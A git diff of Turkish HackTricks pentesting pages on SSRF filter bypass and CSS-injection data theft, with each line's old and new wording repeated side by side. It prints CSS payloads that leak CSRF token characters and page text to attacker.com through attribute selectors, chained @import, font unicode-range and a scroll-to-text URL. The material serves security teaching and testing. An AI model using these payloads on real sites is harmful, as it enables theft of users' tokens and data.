**recollapse** adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [bu yazıya](https://0xacb.com/2022/11/21/recollapse/) bakın. [**recollapse**](https://github.com/0xacb/recollapse) adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [**bu yazıyı**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin.
### Yönlendirme aracılığıyla atlatma ### Yönlendirme aracılığıyla atlatma
Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını filtrelemeyebileceği mümkün olabilir.\ Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını **filtrelemeyebileceği** mümkün olabilir.\
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak istediğiniz yönlendirmeyi yapmak için bir [python sunucusu ile 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), filtrelenmiş IP adreslerine 127.0.0.1 veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\ Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak, yönlendirmek istediğiniz yere bir [python sunucusuyla 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\
[Bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) [Bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -200,7 +200,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Ters Eğik Çizgi Hilesi ### Ters Eğik Çizgi Hilesi
_Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URI'lar için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Ana fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesini etkiler. _Ters eğik çizgi hilesi_, [WHATWG URL Standartı](https://url.spec.whatwg.org/#url-parsing) ile [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URI'lar için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Ana fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesine etki eder.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -208,7 +208,7 @@ _Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>) ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) adresinden alınmıştır. Resim kaynağı: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Referanslar ## Referanslar
@ -217,20 +217,20 @@ Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confu
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına destek olun.** * **Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks_live)**.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -41,25 +41,23 @@ background-image: url(https://attacker.com/exfil/9);
``` ```
#### Gizli Elemanlar için Atlatma #### Gizli Elemanlar için Atlatma
Bu kısıtlamayı atlatmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir: Bu kısıtlamayı atlamak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır, arka plan resminin yüklenmesine neden olur:
```css ```css
input[name=csrf][value^=csrF] ~ * { input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
} }
``` ```
Bu teknikten faydalanmanın pratik bir örneği sağlanan kod parçacığında detaylı olarak açıklanmıştır. [Buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) inceleyebilirsiniz. #### CSS Enjeksiyonu için Ön Koşullar
#### CSS Enjeksiyonu için Önkoşullar CSS Enjeksiyonu tekniğini etkili bir şekilde kullanabilmek için belirli koşulların sağlanması gerekmektedir:
CSS Enjeksiyonu tekniğinden faydalanmak için belirli koşulların karşılanması gerekmektedir:
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir. 1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yetkinizin olması gerekmektedir, bu da yeni oluşturulan yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir. 2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yetkiniz olmalıdır, bu da CSS'nin yeniden oluşturulan yüklerle tekrar değerlendirilmesini tetiklemek için gereklidir.
3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir. 3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir.
### Kör Öznitelik Seçici ### Kör Öznitelik Seçici
[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasının içinde ne olduğu hakkında hiçbir fikrinizin olmadığı durumlarda çok faydalıdır.\ [**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasındaki içeriğin ne olduğu hakkında hiçbir fikriniz olmadığında çok yararlıdır.\
Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanmak mümkündür. Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanmak mümkündür.
```html ```html
<style> <style>
@ -80,21 +78,21 @@ Ancak, teknik kalitesini artırmak için **CSS `@import`** kullanan başka bir a
Bu ilk kez [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şöyle çalışır: Bu ilk kez [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şöyle çalışır:
Önceki teknikte olduğu gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine, **sayfayı sadece bir kez yükleyeceğiz ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurban'a gönderilecek yük). Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine, **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurban'a gönderilecek yük).
```css ```css
@import url('//attacker.com:5001/start?'); @import url('//attacker.com:5001/start?');
``` ```
1. **Saldırganlar tarafından CSS betiği alınacak** ve **tarayıcı onu yükleyecek**. 1. **Saldırganlar tarafından CSS betiği alınacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS betiğinin ilk kısmı, **saldırganın sunucusuna başka bir `@import` olacak**. 2. Saldırganın göndereceği CSS betiğinin ilk kısmı, **saldırganın sunucusuna başka bir `@import` olacak**.
3. Saldırganın sunucusu henüz bu isteğe yanıt vermeyecek, çünkü bazı karakterleri sızdırmak ve ardından bu import isteğine sızdırmak için payload ile yanıt vereceğiz. 3. Saldırganın sunucusu henüz bu isteği yanıtlamayacak, çünkü bazı karakterleri sızdırmak ve ardından bu import isteğine sızdırmak için yanıt vereceğiz.
4. Payload'ın ikinci ve daha büyük kısmı, bir **özellik seçici sızıntı payloadı** olacak. 4. Payload'ın ikinci ve daha büyük kısmı, bir **özellik seçici sızıntı payload'ı** olacak.
5. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini gönderecek**. 5. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini gönderecek**.
6. Saldırganın sunucusu, **sırrın ilk ve son karakterini aldığında, adım 2'de istenen importa yanıt verecek**. 6. Saldırganın sunucusu, **sırrın ilk ve son karakterini aldığında**, adımda 2 istenen importı **yanıtlayacak**.
7. Yanıt, **adımlar 2, 3 ve 4 ile tam olarak aynı olacak**, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**. 7. Yanıt, **adımlar 2, 3 ve 4 ile tam olarak aynı olacak**, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir öncekini bulmaya çalışacak**.
Saldırgan, **sırrı tamamen sızdırmayı başarana kadar bu döngüyü takip edecek**. Saldırgan, **sırrı tamamen sızdırmayı başarana kadar bu döngüyü takip edecek**.
Orijinal [**Pepe Vila'nın bu açığı sömürmek için yazdığı kodu buradan bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse aynı [**kodun yorumlanmış halini buradan bulabilirsiniz**.](./#css-injection) Orijinal [**Pepe Vila'nın bu açığı sömürmek için yazdığı kodu buradan bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ancak yorumlanmış halini buradan bulabilirsiniz**.](./#css-injection)
{% hint style="info" %} {% hint style="info" %}
Betik, başlangıçtan ve sondan 2 karakter keşfetmeye çalışacak çünkü özellik seçicisi şunları yapmaya izin verir: Betik, başlangıçtan ve sondan 2 karakter keşfetmeye çalışacak çünkü özellik seçicisi şunları yapmaya izin verir:
@ -105,7 +103,7 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/ /* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
``` ```
Bu, betiğin sırrı daha hızlı sızdırmasına izin verir. Bu, betiğin sırrı daha hızlı sızdırmasına olanak tanır.
{% endhint %} {% endhint %}
{% hint style="warning" %} {% hint style="warning" %}
@ -126,7 +124,7 @@ Endişelenmeyin, sadece **çıktıyı kontrol edin** çünkü **bayrağı orada
### Hata tabanlı XS-Search ### Hata tabanlı XS-Search
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) **Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrollü bir uç noktadan özel bir yazı tipi kullanmak** ve **belirtilen kaynak (`favicon.ico`) yüklenemezse metnin (bu durumda 'A') yalnızca bu yazı tipi ile görüntülenmesini sağlamaktır.** Genel amaç, **kontrollü bir uç noktadan özel bir yazı tipi kullanmak** ve **belirtilen kaynak (`favicon.ico`) yüklenemezse metnin (bu durumda 'A') yalnızca bu yazı tipi ile görüntülenmesini sağlamaktır.**
```html ```html
@ -153,7 +151,7 @@ font-family: 'poc';
</html> </html>
``` ```
1. **Özel Font Kullanımı**: 1. **Özel Font Kullanımı**:
- Bir özel font, `<head>` bölümünde `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır. - Özel bir font, `<head>` bölümünde `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Font `poc` adını taşır ve dış bir uç noktadan (`http://attacker.com/?leak`) alınır. - Font `poc` adını taşır ve dış bir uç noktadan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği, belirli Unicode karakteri 'A' hedefleyen `U+0041` olarak ayarlanmıştır. - `unicode-range` özelliği, belirli Unicode karakteri 'A' hedefleyen `U+0041` olarak ayarlanmıştır.
@ -165,33 +163,33 @@ font-family: 'poc';
### Metin Parçasına Kaydırma Stili ### Metin Parçasına Kaydırma Stili
**`:target`** yalancı-sınıfı, bir **URL parçası** tarafından hedeflenen bir elemanı seçmek için kullanılır, [CSS Seçiciler Seviye 4 belirtiminde](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtildiği gibi. `::target-text`'in, metin açıkça parça tarafından hedeflenmediği sürece hiçbir elemanla eşleşmediği önemlidir. **`:target`** yalancı-sınıfı, bir **URL parçası** tarafından hedeflenen bir elemanı seçmek için kullanılır, [CSS Seçiciler Seviye 4 spesifikasyonunda](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtildiği gibi. `::target-text`'in, metin açıkça parça tarafından hedeflendiğinde herhangi bir elemanla eşleşmediğini anlamak önemlidir.
Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli metnin varlığını doğrulamalarına izin veren **Metne Kaydırma** parçası özelliğini istismar ettiğinde ortaya çıkar. Yöntem, şu gibi bir CSS kuralının enjekte edilmesini içerir: Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli metnin varlığını doğrulamalarına izin veren **Metne Kaydırma** parçası özelliğini istismar ettiğinde ortaya çıkar. Bu yöntem, şu gibi bir CSS kuralının enjekte edilmesini içerir:
```css ```css
:target::before { content : url(target.png) } :target::before { content : url(target.png) }
``` ```
Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, metnin varlığını gösteren `target.png` kaynağı sunucudan istenir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi ve bir metin parçasını kaydırmak için özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir: Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, metnin varlığını gösteren `target.png` kaynağı sunucudan istenir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi birlikte içeren özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:
``` ```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
``` ```
Attack, belirli metin "Yönetici" üzerinde Scroll-to-text parçası (`#:~:text=Administrator`) aracılığıyla CSS kodunu iletmek için HTML enjeksiyonunu manipüle eder. Metin bulunduğunda, belirtilen kaynak yüklenir ve yanlışlıkla varlığını saldırganın farkına varır. İşte saldırı, CSS kodunu iletmek için HTML enjeksiyonunu manipüle eder ve Scroll-to-text parçası (`#:~:text=Administrator`) aracılığıyla belirli metin "Yönetici" hedeflenir. Metin bulunursa, belirtilen kaynak yüklenir ve yanlışlıkla varlığını saldırganın sinyal vermesine neden olur.
Hafifletme için aşağıdaki noktalara dikkat edilmelidir: Hafifletme için aşağıdaki noktalara dikkat edilmelidir:
1. **Kısıtlanmış STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar. 1. **Kısıtlanmış STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.
2. **Üst Düzey Göz Atma Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframeler içinde işlev görmez, bu da herhangi bir sömürü girişimini kullanıcıya daha fark edilir hale getirir. 2. **Üst Düzey Göz Atma Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframeler içinde işlev göstermez, bu da herhangi bir sömürü girişimini kullanıcıya daha fark edilir hale getirir.
3. **Kullanıcı Etkinleştirmesinin Gerekliliği**: STTF, işlem yapmak için bir kullanıcı etkinleştirme jesti gerektirir, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesinin riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) hakkında belirtir. 3. **Kullanıcı Etkinleştirme Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkinleştirme jestine ihtiyacı vardır, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesinin riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) konusunda belirli durumları işaret eder.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sürdürmek ve bu tür sömürücü taktiklere karşı korunmak için önemlidir. Bu mekanizmaların ve potansiyel zayıf noktaların farkında olmak, web güvenliğini sürdürmek ve bu tür sömürücü taktiklere karşı korunmak için önemlidir.
Daha fazla bilgi için orijinal raporu kontrol edebilirsiniz: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) Daha fazla bilgi için orijinal raporu kontrol edebilirsiniz: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Bu tekniği kullanan bir CTF için bir [**sömürüyü buradan inceleyebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb). Bu tekniği kullanan bir CTF için bir [**sömürü örneğini buradan kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Örneğin, sayfada bulunan belirli unicode değerleri için **harici yazı tipleri belirtebilirsiniz**, bu değerler yalnızca sayfada bulunduğunda **toplanacak**tır. Örneğin, sayfada bulunan belirli unicode değerleri için **harici yazı tipleri belirleyebilir** ve yalnızca bu unicode değerleri mevcutsa **toplanacaklardır**.
```html ```html
<style> <style>
@font-face{ @font-face{
@ -228,7 +226,7 @@ Anlatılan teknik, font ligatürlerini sömürerek bir düğümden metin çıkar
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür. - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Algılanması**: 2. **Genişlik Değişikliklerinin Algılanması**:
- Metnin kaymamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırma çubuğu stili özelleştirilir. - Metnin kaymamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırma çubuğu stilini özelleştirmek için.
- Belirgin bir şekilde biçimlendirilmiş yatay bir kaydırma çubuğunun görünmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak işlev görür. - Belirgin bir şekilde biçimlendirilmiş yatay bir kaydırma çubuğunun görünmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak işlev görür.
- İlgili CSS: - İlgili CSS:
```css ```css
@ -238,15 +236,15 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
``` ```
3. **Sömürü Süreci**: 3. **Sömürü Süreci**:
- **Adım 1**: Geniş birlikte iki karakteri temsil eden fontlar oluşturulur. - **Adım 1**: Geniş birlikte karakter çiftleri için fontlar oluşturulur.
- **Adım 2**: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğinde algılanmasını sağlamak için bir kaydırma çubuğu tabanlı bir hile kullanılır. - **Adım 2**: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğinde algılanmasını sağlamak için bir kaydırma çubuğu tabanlı bir hile kullanılır.
- **Adım 3**: Bir ligatür algılandığında, algılanan çifti içeren ve önceki veya sonraki bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glifler oluşturulur. - **Adım 3**: Bir ligatür algılandığında, algılanan çifti içeren ve önceki veya sonraki bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glifler oluşturulur.
- **Adım 4**: Üç karakterlik ligatürün algılanması gerçekleştirilir. - **Adım 4**: Üç karakterlik ligatürün algılanması gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanarak tüm metin aşamalı olarak ortaya çıkarılır. - **Adım 5**: Süreç tekrarlanarak tüm metin aşamalı olarak ortaya çıkarılır.
4. **Optimizasyon**: 4. **Optimizasyon**:
- Mevcut başlatma yöntemi `<meta refresh=...` kullanılarak yapılan başlatma yöntemi en uygun değildir. - Mevcut başlatma yöntemi `<meta refresh=...` CSS `@import` hilesini içermemektedir ve bu nedenle en uygun değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir. - Daha verimli bir yaklaşım, hilenin performansını artıran CSS `@import` hilesini içerebilir.
### Metin düğümü sızdırma (II): varsayılan font ile karakter setinin sızdırılması (harici varlıklara gerek yok) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (II): varsayılan font ile karakter setinin sızdırılması (harici varlıklara gerek yok) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -254,7 +252,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
Bu hile, tarayıcıda yüklü olan varsayılan fontları kullanarak bir metin düğümündeki karakter setinin sızdırılmasını sağlar: harici -veya özel- fontlara ihtiyaç yoktur. Bu hile, tarayıcıda yüklü olan varsayılan fontları kullanarak bir metin düğümündeki karakter setinin sızdırılmasını sağlar: harici -veya özel- fontlara ihtiyaç yoktur.
